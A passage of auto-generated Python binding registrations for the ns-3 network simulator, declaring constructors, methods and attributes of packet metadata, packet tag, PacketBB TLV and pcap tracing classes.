## packet-metadata.h (module 'network'): void ns3::PacketMetadata::RemoveTrailer(ns3::Trailer const & trailer, uint32_t size) [member function]
cls.add_method('RemoveTrailer',
'void',
[param('ns3::Trailer const &', 'trailer'), param('uint32_t', 'size')])
## packet-metadata.h (module 'network'): uint32_t ns3::PacketMetadata::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function]
cls.add_method('Serialize',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')],
is_const=True)
return
def register_Ns3PacketMetadataItem_methods(root_module, cls):
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::Item() [constructor]
cls.add_constructor([])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::Item(ns3::PacketMetadata::Item const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketMetadata::Item const &', 'arg0')])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::current [variable]
cls.add_instance_attribute('current', 'ns3::Buffer::Iterator', is_const=False)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentSize [variable]
cls.add_instance_attribute('currentSize', 'uint32_t', is_const=False)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentTrimedFromEnd [variable]
cls.add_instance_attribute('currentTrimedFromEnd', 'uint32_t', is_const=False)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::currentTrimedFromStart [variable]
cls.add_instance_attribute('currentTrimedFromStart', 'uint32_t', is_const=False)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::isFragment [variable]
cls.add_instance_attribute('isFragment', 'bool', is_const=False)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item::tid [variable]
cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False)
return
def register_Ns3PacketMetadataItemIterator_methods(root_module, cls):
## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator::ItemIterator(ns3::PacketMetadata::ItemIterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketMetadata::ItemIterator const &', 'arg0')])
## packet-metadata.h (module 'network'): ns3::PacketMetadata::ItemIterator::ItemIterator(ns3::PacketMetadata const * metadata, ns3::Buffer buffer) [constructor]
cls.add_constructor([param('ns3::PacketMetadata const *', 'metadata'), param('ns3::Buffer', 'buffer')])
## packet-metadata.h (module 'network'): bool ns3::PacketMetadata::ItemIterator::HasNext() const [member function]
cls.add_method('HasNext',
'bool',
[],
is_const=True)
## packet-metadata.h (module 'network'): ns3::PacketMetadata::Item ns3::PacketMetadata::ItemIterator::Next() [member function]
cls.add_method('Next',
'ns3::PacketMetadata::Item',
[])
return
def register_Ns3PacketSinkHelper_methods(root_module, cls):
## packet-sink-helper.h (module 'applications'): ns3::PacketSinkHelper::PacketSinkHelper(ns3::PacketSinkHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketSinkHelper const &', 'arg0')])
## packet-sink-helper.h (module 'applications'): ns3::PacketSinkHelper::PacketSinkHelper(std::string protocol, ns3::Address address) [constructor]
cls.add_constructor([param('std::string', 'protocol'), param('ns3::Address', 'address')])
## packet-sink-helper.h (module 'applications'): ns3::ApplicationContainer ns3::PacketSinkHelper::Install(ns3::NodeContainer c) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::NodeContainer', 'c')],
is_const=True)
## packet-sink-helper.h (module 'applications'): ns3::ApplicationContainer ns3::PacketSinkHelper::Install(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True)
## packet-sink-helper.h (module 'applications'): ns3::ApplicationContainer ns3::PacketSinkHelper::Install(std::string nodeName) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('std::string', 'nodeName')],
is_const=True)
## packet-sink-helper.h (module 'applications'): void ns3::PacketSinkHelper::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
return
def register_Ns3PacketSocketAddress_methods(root_module, cls):
## packet-socket-address.h (module 'network'): ns3::PacketSocketAddress::PacketSocketAddress(ns3::PacketSocketAddress const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketSocketAddress const &', 'arg0')])
## packet-socket-address.h (module 'network'): ns3::PacketSocketAddress::PacketSocketAddress() [constructor]
cls.add_constructor([])
## packet-socket-address.h (module 'network'): static ns3::PacketSocketAddress ns3::PacketSocketAddress::ConvertFrom(ns3::Address const & address) [member function]
cls.add_method('ConvertFrom',
'ns3::PacketSocketAddress',
[param('ns3::Address const &', 'address')],
is_static=True)
## packet-socket-address.h (module 'network'): ns3::Address ns3::PacketSocketAddress::GetPhysicalAddress() const [member function]
cls.add_method('GetPhysicalAddress',
'ns3::Address',
[],
is_const=True)
## packet-socket-address.h (module 'network'): uint16_t ns3::PacketSocketAddress::GetProtocol() const [member function]
cls.add_method('GetProtocol',
'uint16_t',
[],
is_const=True)
## packet-socket-address.h (module 'network'): uint32_t ns3::PacketSocketAddress::GetSingleDevice() const [member function]
cls.add_method('GetSingleDevice',
'uint32_t',
[],
is_const=True)
## packet-socket-address.h (module 'network'): static bool ns3::PacketSocketAddress::IsMatchingType(ns3::Address const & address) [member function]
cls.add_method('IsMatchingType',
'bool',
[param('ns3::Address const &', 'address')],
is_static=True)
## packet-socket-address.h (module 'network'): bool ns3::PacketSocketAddress::IsSingleDevice() const [member function]
cls.add_method('IsSingleDevice',
'bool',
[],
is_const=True)
## packet-socket-address.h (module 'network'): void ns3::PacketSocketAddress::SetAllDevices() [member function]
cls.add_method('SetAllDevices',
'void',
[])
## packet-socket-address.h (module 'network'): void ns3::PacketSocketAddress::SetPhysicalAddress(ns3::Address const address) [member function]
cls.add_method('SetPhysicalAddress',
'void',
[param('ns3::Address const', 'address')])
## packet-socket-address.h (module 'network'): void ns3::PacketSocketAddress::SetProtocol(uint16_t protocol) [member function]
cls.add_method('SetProtocol',
'void',
[param('uint16_t', 'protocol')])
## packet-socket-address.h (module 'network'): void ns3::PacketSocketAddress::SetSingleDevice(uint32_t device) [member function]
cls.add_method('SetSingleDevice',
'void',
[param('uint32_t', 'device')])
return
def register_Ns3PacketSocketHelper_methods(root_module, cls):
## packet-socket-helper.h (module 'network'): ns3::PacketSocketHelper::PacketSocketHelper() [constructor]
cls.add_constructor([])
## packet-socket-helper.h (module 'network'): ns3::PacketSocketHelper::PacketSocketHelper(ns3::PacketSocketHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketSocketHelper const &', 'arg0')])
## packet-socket-helper.h (module 'network'): void ns3::PacketSocketHelper::Install(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Install',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True)
## packet-socket-helper.h (module 'network'): void ns3::PacketSocketHelper::Install(std::string nodeName) const [member function]
cls.add_method('Install',
'void',
[param('std::string', 'nodeName')],
is_const=True)
## packet-socket-helper.h (module 'network'): void ns3::PacketSocketHelper::Install(ns3::NodeContainer c) const [member function]
cls.add_method('Install',
'void',
[param('ns3::NodeContainer', 'c')],
is_const=True)
return
def register_Ns3PacketTagIterator_methods(root_module, cls):
## packet.h (module 'network'): ns3::PacketTagIterator::PacketTagIterator(ns3::PacketTagIterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketTagIterator const &', 'arg0')])
## packet.h (module 'network'): bool ns3::PacketTagIterator::HasNext() const [member function]
cls.add_method('HasNext',
'bool',
[],
is_const=True)
## packet.h (module 'network'): ns3::PacketTagIterator::Item ns3::PacketTagIterator::Next() [member function]
cls.add_method('Next',
'ns3::PacketTagIterator::Item',
[])
return
def register_Ns3PacketTagIteratorItem_methods(root_module, cls):
## packet.h (module 'network'): ns3::PacketTagIterator::Item::Item(ns3::PacketTagIterator::Item const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketTagIterator::Item const &', 'arg0')])
## packet.h (module 'network'): void ns3::PacketTagIterator::Item::GetTag(ns3::Tag & tag) const [member function]
cls.add_method('GetTag',
'void',
[param('ns3::Tag &', 'tag')],
is_const=True)
## packet.h (module 'network'): ns3::TypeId ns3::PacketTagIterator::Item::GetTypeId() const [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_const=True)
return
def register_Ns3PacketTagList_methods(root_module, cls):
## packet-tag-list.h (module 'network'): ns3::PacketTagList::PacketTagList() [constructor]
cls.add_constructor([])
## packet-tag-list.h (module 'network'): ns3::PacketTagList::PacketTagList(ns3::PacketTagList const & o) [copy constructor]
cls.add_constructor([param('ns3::PacketTagList const &', 'o')])
## packet-tag-list.h (module 'network'): void ns3::PacketTagList::Add(ns3::Tag const & tag) const [member function]
cls.add_method('Add',
'void',
[param('ns3::Tag const &', 'tag')],
is_const=True)
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData const * ns3::PacketTagList::Head() const [member function]
cls.add_method('Head',
'ns3::PacketTagList::TagData const *',
[],
is_const=True)
## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Peek(ns3::Tag & tag) const [member function]
cls.add_method('Peek',
'bool',
[param('ns3::Tag &', 'tag')],
is_const=True)
## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Remove(ns3::Tag & tag) [member function]
cls.add_method('Remove',
'bool',
[param('ns3::Tag &', 'tag')])
## packet-tag-list.h (module 'network'): void ns3::PacketTagList::RemoveAll() [member function]
cls.add_method('RemoveAll',
'void',
[])
## packet-tag-list.h (module 'network'): bool ns3::PacketTagList::Replace(ns3::Tag & tag) [member function]
cls.add_method('Replace',
'bool',
[param('ns3::Tag &', 'tag')])
return
def register_Ns3PacketTagListTagData_methods(root_module, cls):
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData() [constructor]
cls.add_constructor([])
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::TagData(ns3::PacketTagList::TagData const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PacketTagList::TagData const &', 'arg0')])
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::count [variable]
cls.add_instance_attribute('count', 'uint32_t', is_const=False)
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::data [variable]
cls.add_instance_attribute('data', 'uint8_t [ 1 ]', is_const=False)
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::next [variable]
cls.add_instance_attribute('next', 'ns3::PacketTagList::TagData *', is_const=False)
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::size [variable]
cls.add_instance_attribute('size', 'uint32_t', is_const=False)
## packet-tag-list.h (module 'network'): ns3::PacketTagList::TagData::tid [variable]
cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False)
return
def register_Ns3ParameterLogger_methods(root_module, cls):
## log.h (module 'core'): ns3::ParameterLogger::ParameterLogger(ns3::ParameterLogger const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ParameterLogger const &', 'arg0')])
## log.h (module 'core'): ns3::ParameterLogger::ParameterLogger(std::ostream & os) [constructor]
cls.add_constructor([param('std::ostream &', 'os')])
return
def register_Ns3PbbAddressTlvBlock_methods(root_module, cls):
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('!=')
## packetbb.h (module 'network'): ns3::PbbAddressTlvBlock::PbbAddressTlvBlock(ns3::PbbAddressTlvBlock const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbAddressTlvBlock const &', 'arg0')])
## packetbb.h (module 'network'): ns3::PbbAddressTlvBlock::PbbAddressTlvBlock() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressTlv> ns3::PbbAddressTlvBlock::Back() const [member function]
cls.add_method('Back',
'ns3::Ptr< ns3::PbbAddressTlv >',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressTlvBlock::Begin() [member function]
cls.add_method('Begin',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressTlvBlock::Begin() const [member function]
cls.add_method('Begin',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbAddressTlvBlock::Clear() [member function]
cls.add_method('Clear',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbAddressTlvBlock::Deserialize(ns3::Buffer::Iterator & start) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::Buffer::Iterator &', 'start')])
## packetbb.h (module 'network'): bool ns3::PbbAddressTlvBlock::Empty() const [member function]
cls.add_method('Empty',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressTlvBlock::End() [member function]
cls.add_method('End',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressTlvBlock::End() const [member function]
cls.add_method('End',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressTlvBlock::Erase(std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > position) [member function]
cls.add_method('Erase',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >', 'position')])
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressTlvBlock::Erase(std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > first, std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > last) [member function]
cls.add_method('Erase',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >', 'first'), param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >', 'last')])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbAddressTlv> ns3::PbbAddressTlvBlock::Front() const [member function]
cls.add_method('Front',
'ns3::Ptr< ns3::PbbAddressTlv >',
[],
is_const=True)
## packetbb.h (module 'network'): uint32_t ns3::PbbAddressTlvBlock::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > ns3::PbbAddressTlvBlock::Insert(std::_List_iterator<ns3::Ptr<ns3::PbbAddressTlv> > position, ns3::Ptr<ns3::PbbAddressTlv> const tlv) [member function]
cls.add_method('Insert',
'std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbAddressTlv > >', 'position'), param('ns3::Ptr< ns3::PbbAddressTlv > const', 'tlv')])
## packetbb.h (module 'network'): void ns3::PbbAddressTlvBlock::PopBack() [member function]
cls.add_method('PopBack',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbAddressTlvBlock::PopFront() [member function]
cls.add_method('PopFront',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbAddressTlvBlock::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbAddressTlvBlock::Print(std::ostream & os, int level) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os'), param('int', 'level')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbAddressTlvBlock::PushBack(ns3::Ptr<ns3::PbbAddressTlv> tlv) [member function]
cls.add_method('PushBack',
'void',
[param('ns3::Ptr< ns3::PbbAddressTlv >', 'tlv')])
## packetbb.h (module 'network'): void ns3::PbbAddressTlvBlock::PushFront(ns3::Ptr<ns3::PbbAddressTlv> tlv) [member function]
cls.add_method('PushFront',
'void',
[param('ns3::Ptr< ns3::PbbAddressTlv >', 'tlv')])
## packetbb.h (module 'network'): void ns3::PbbAddressTlvBlock::Serialize(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True)
## packetbb.h (module 'network'): int ns3::PbbAddressTlvBlock::Size() const [member function]
cls.add_method('Size',
'int',
[],
is_const=True)
return
def register_Ns3PbbTlvBlock_methods(root_module, cls):
cls.add_binary_comparison_operator('==')
cls.add_binary_comparison_operator('!=')
## packetbb.h (module 'network'): ns3::PbbTlvBlock::PbbTlvBlock(ns3::PbbTlvBlock const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PbbTlvBlock const &', 'arg0')])
## packetbb.h (module 'network'): ns3::PbbTlvBlock::PbbTlvBlock() [constructor]
cls.add_constructor([])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbTlv> ns3::PbbTlvBlock::Back() const [member function]
cls.add_method('Back',
'ns3::Ptr< ns3::PbbTlv >',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbTlvBlock::Begin() [member function]
cls.add_method('Begin',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbTlvBlock::Begin() const [member function]
cls.add_method('Begin',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbTlv > >',
[],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbTlvBlock::Clear() [member function]
cls.add_method('Clear',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbTlvBlock::Deserialize(ns3::Buffer::Iterator & start) [member function]
cls.add_method('Deserialize',
'void',
[param('ns3::Buffer::Iterator &', 'start')])
## packetbb.h (module 'network'): bool ns3::PbbTlvBlock::Empty() const [member function]
cls.add_method('Empty',
'bool',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbTlvBlock::End() [member function]
cls.add_method('End',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[])
## packetbb.h (module 'network'): std::_List_const_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbTlvBlock::End() const [member function]
cls.add_method('End',
'std::_List_const_iterator< ns3::Ptr< ns3::PbbTlv > >',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbTlvBlock::Erase(std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > position) [member function]
cls.add_method('Erase',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >', 'position')])
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbTlvBlock::Erase(std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > first, std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > last) [member function]
cls.add_method('Erase',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >', 'first'), param('std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >', 'last')])
## packetbb.h (module 'network'): ns3::Ptr<ns3::PbbTlv> ns3::PbbTlvBlock::Front() const [member function]
cls.add_method('Front',
'ns3::Ptr< ns3::PbbTlv >',
[],
is_const=True)
## packetbb.h (module 'network'): uint32_t ns3::PbbTlvBlock::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## packetbb.h (module 'network'): std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > ns3::PbbTlvBlock::Insert(std::_List_iterator<ns3::Ptr<ns3::PbbTlv> > position, ns3::Ptr<ns3::PbbTlv> const tlv) [member function]
cls.add_method('Insert',
'std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >',
[param('std::_List_iterator< ns3::Ptr< ns3::PbbTlv > >', 'position'), param('ns3::Ptr< ns3::PbbTlv > const', 'tlv')])
## packetbb.h (module 'network'): void ns3::PbbTlvBlock::PopBack() [member function]
cls.add_method('PopBack',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbTlvBlock::PopFront() [member function]
cls.add_method('PopFront',
'void',
[])
## packetbb.h (module 'network'): void ns3::PbbTlvBlock::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbTlvBlock::Print(std::ostream & os, int level) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os'), param('int', 'level')],
is_const=True)
## packetbb.h (module 'network'): void ns3::PbbTlvBlock::PushBack(ns3::Ptr<ns3::PbbTlv> tlv) [member function]
cls.add_method('PushBack',
'void',
[param('ns3::Ptr< ns3::PbbTlv >', 'tlv')])
## packetbb.h (module 'network'): void ns3::PbbTlvBlock::PushFront(ns3::Ptr<ns3::PbbTlv> tlv) [member function]
cls.add_method('PushFront',
'void',
[param('ns3::Ptr< ns3::PbbTlv >', 'tlv')])
## packetbb.h (module 'network'): void ns3::PbbTlvBlock::Serialize(ns3::Buffer::Iterator & start) const [member function]
cls.add_method('Serialize',
'void',
[param('ns3::Buffer::Iterator &', 'start')],
is_const=True)
## packetbb.h (module 'network'): int ns3::PbbTlvBlock::Size() const [member function]
cls.add_method('Size',
'int',
[],
is_const=True)
return
def register_Ns3PcapFile_methods(root_module, cls):
## pcap-file.h (module 'network'): ns3::PcapFile::PcapFile() [constructor]
cls.add_constructor([])
## pcap-file.h (module 'network'): void ns3::PcapFile::Clear() [member function]
cls.add_method('Clear',
'void',
[])
## pcap-file.h (module 'network'): void ns3::PcapFile::Close() [member function]
cls.add_method('Close',
'void',
[])
## pcap-file.h (module 'network'): static bool ns3::PcapFile::Diff(std::string const & f1, std::string const & f2, uint32_t & sec, uint32_t & usec, uint32_t & packets, uint32_t snapLen=ns3::PcapFile::SNAPLEN_DEFAULT) [member function]
cls.add_method('Diff',
'bool',
[param('std::string const &', 'f1'), param('std::string const &', 'f2'), param('uint32_t &', 'sec'), param('uint32_t &', 'usec'), param('uint32_t &', 'packets'), param('uint32_t', 'snapLen', default_value='ns3::PcapFile::SNAPLEN_DEFAULT')],
is_static=True)
## pcap-file.h (module 'network'): bool ns3::PcapFile::Eof() const [member function]
cls.add_method('Eof',
'bool',
[],
is_const=True)
## pcap-file.h (module 'network'): bool ns3::PcapFile::Fail() const [member function]
cls.add_method('Fail',
'bool',
[],
is_const=True)
## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetDataLinkType() [member function]
cls.add_method('GetDataLinkType',
'uint32_t',
[])
## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetMagic() [member function]
cls.add_method('GetMagic',
'uint32_t',
[])
## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetSigFigs() [member function]
cls.add_method('GetSigFigs',
'uint32_t',
[])
## pcap-file.h (module 'network'): uint32_t ns3::PcapFile::GetSnapLen() [member function]
cls.add_method('GetSnapLen',
'uint32_t',
[])
## pcap-file.h (module 'network'): bool ns3::PcapFile::GetSwapMode() [member function]
cls.add_method('GetSwapMode',
'bool',
[])
## pcap-file.h (module 'network'): int32_t ns3::PcapFile::GetTimeZoneOffset() [member function]
cls.add_method('GetTimeZoneOffset',
'int32_t',
[])
## pcap-file.h (module 'network'): uint16_t ns3::PcapFile::GetVersionMajor() [member function]
cls.add_method('GetVersionMajor',
'uint16_t',
[])
## pcap-file.h (module 'network'): uint16_t ns3::PcapFile::GetVersionMinor() [member function]
cls.add_method('GetVersionMinor',
'uint16_t',
[])
## pcap-file.h (module 'network'): void ns3::PcapFile::Init(uint32_t dataLinkType, uint32_t snapLen=ns3::PcapFile::SNAPLEN_DEFAULT, int32_t timeZoneCorrection=ns3::PcapFile::ZONE_DEFAULT, bool swapMode=false, bool nanosecMode=false) [member function]
cls.add_method('Init',
'void',
[param('uint32_t', 'dataLinkType'), param('uint32_t', 'snapLen', default_value='ns3::PcapFile::SNAPLEN_DEFAULT'), param('int32_t', 'timeZoneCorrection', default_value='ns3::PcapFile::ZONE_DEFAULT'), param('bool', 'swapMode', default_value='false'), param('bool', 'nanosecMode', default_value='false')])
## pcap-file.h (module 'network'): bool ns3::PcapFile::IsNanoSecMode() [member function]
cls.add_method('IsNanoSecMode',
'bool',
[])
## pcap-file.h (module 'network'): void ns3::PcapFile::Open(std::string const & filename, std::_Ios_Openmode mode) [member function]
cls.add_method('Open',
'void',
[param('std::string const &', 'filename'), param('std::_Ios_Openmode', 'mode')])
## pcap-file.h (module 'network'): void ns3::PcapFile::Read(uint8_t * const data, uint32_t maxBytes, uint32_t & tsSec, uint32_t & tsUsec, uint32_t & inclLen, uint32_t & origLen, uint32_t & readLen) [member function]
cls.add_method('Read',
'void',
[param('uint8_t * const', 'data'), param('uint32_t', 'maxBytes'), param('uint32_t &', 'tsSec'), param('uint32_t &', 'tsUsec'), param('uint32_t &', 'inclLen'), param('uint32_t &', 'origLen'), param('uint32_t &', 'readLen')])
## pcap-file.h (module 'network'): void ns3::PcapFile::Write(uint32_t tsSec, uint32_t tsUsec, uint8_t const * const data, uint32_t totalLen) [member function]
cls.add_method('Write',
'void',
[param('uint32_t', 'tsSec'), param('uint32_t', 'tsUsec'), param('uint8_t const * const', 'data'), param('uint32_t', 'totalLen')])
## pcap-file.h (module 'network'): void ns3::PcapFile::Write(uint32_t tsSec, uint32_t tsUsec, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('Write',
'void',
[param('uint32_t', 'tsSec'), param('uint32_t', 'tsUsec'), param('ns3::Ptr< ns3::Packet const >', 'p')])
## pcap-file.h (module 'network'): void ns3::PcapFile::Write(uint32_t tsSec, uint32_t tsUsec, ns3::Header const & header, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('Write',
'void',
[param('uint32_t', 'tsSec'), param('uint32_t', 'tsUsec'), param('ns3::Header const &', 'header'), param('ns3::Ptr< ns3::Packet const >', 'p')])
## pcap-file.h (module 'network'): ns3::PcapFile::SNAPLEN_DEFAULT [variable]
cls.add_static_attribute('SNAPLEN_DEFAULT', 'uint32_t const', is_const=True)
## pcap-file.h (module 'network'): ns3::PcapFile::ZONE_DEFAULT [variable]
cls.add_static_attribute('ZONE_DEFAULT', 'int32_t const', is_const=True)
return
def register_Ns3PcapHelper_methods(root_module, cls):
## trace-helper.h (module 'network'): ns3::PcapHelper::PcapHelper(ns3::PcapHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PcapHelper const &', 'arg0')])
## trace-helper.h (module 'network'): ns3::PcapHelper::PcapHelper() [constructor]
cls.add_constructor([])
## trace-helper.h (module 'network'): ns3::Ptr<ns3::PcapFileWrapper> ns3::PcapHelper::CreateFile(std::string filename, std::_Ios_Openmode filemode, ns3::PcapHelper::DataLinkType dataLinkType, uint32_t snapLen=std::numeric_limits<unsigned int>::max(), int32_t tzCorrection=0) [member function]
cls.add_method('CreateFile',
'ns3::Ptr< ns3::PcapFileWrapper >',
[param('std::string', 'filename'), param('std::_Ios_Openmode', 'filemode'), param('ns3::PcapHelper::DataLinkType', 'dataLinkType'), param('uint32_t', 'snapLen', default_value='std::numeric_limits<unsigned int>::max()'), param('int32_t', 'tzCorrection', default_value='0')])
## trace-helper.h (module 'network'): std::string ns3::PcapHelper::GetFilenameFromDevice(std::string prefix, ns3::Ptr<ns3::NetDevice> device, bool useObjectNames=true) [member function]
cls.add_method('GetFilenameFromDevice',
'std::string',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('bool', 'useObjectNames', default_value='true')])
## trace-helper.h (module 'network'): std::string ns3::PcapHelper::GetFilenameFromInterfacePair(std::string prefix, ns3::Ptr<ns3::Object> object, uint32_t interface, bool useObjectNames=true) [member function]
cls.add_method('GetFilenameFromInterfacePair',
'std::string',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Object >', 'object'), param('uint32_t', 'interface'), param('bool', 'useObjectNames', default_value='true')])
return
def register_Ns3PcapHelperForDevice_methods(root_module, cls):
## trace-helper.h (module 'network'): ns3::PcapHelperForDevice::PcapHelperForDevice(ns3::PcapHelperForDevice const & arg0) [copy constructor]
cls.add_constructor([param('ns3::PcapHelperForDevice const &', 'arg0')])
## trace-helper.h (module 'network'): ns3::PcapHelperForDevice::PcapHelperForDevice() [constructor]
cls.add_constructor([])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool promiscuous=false, bool explicitFilename=false) [member function]
cls.add_method('EnablePcap',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'promiscuous', default_value='false'), param('bool', 'explicitFilename', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, std::string ndName, bool promiscuous=false, bool explicitFilename=false) [member function]
cls.add_method('EnablePcap',
'void',
[param('std::string', 'prefix'), param('std::string', 'ndName'), param('bool', 'promiscuous', default_value='false'), param('bool', 'explicitFilename', default_value='false')])
## trace-helper.h (module 'network'): void ns3::PcapHelperForDevice::EnablePcap(std::string prefix, ns3::NetDeviceContainer d, bool promiscuous=false) [member function]
cls.add_method('EnablePcap',
'void',
[param('std::string', 'prefix'), param('ns3::NetDeviceContainer', 'd'), param('bool', 'promiscuous', default_value='false')])
